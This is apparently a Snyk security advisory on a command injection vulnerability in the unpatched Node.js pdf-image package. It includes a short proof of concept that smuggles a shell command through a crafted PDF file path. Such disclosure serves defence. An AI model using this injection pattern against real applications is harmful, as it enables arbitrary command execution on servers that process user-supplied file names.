Command Injection Affecting pdf-image package, versions *


0.0
high

Snyk CVSS

    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-PDFIMAGE-6424686
  • published 12 Mar 2024
  • disclosed 20 Feb 2024
  • credit Miguel Coimbra

Introduced: 20 Feb 2024

CVE NOT AVAILABLE CWE-78 Open this link in a new tab
First added by Snyk

How to fix?

There is no fixed version for pdf-image.

Overview

pdf-image is a library that provides an interface to convert PDF's pages to png files in Node.js by using ImageMagick.

Affected versions of this package are vulnerable to Command Injection through the PDFImage function, due to improper user input validation.

PoC

const pkg = require('pdf-image');
console.log(pkg);

const pdfFilePath = '" | touch exploited.txt "';
const options = {

};

const i = new pkg.PDFImage(pdfFilePath, options);

// This will create a local 'exploited.txt' file.
i.getInfo();

References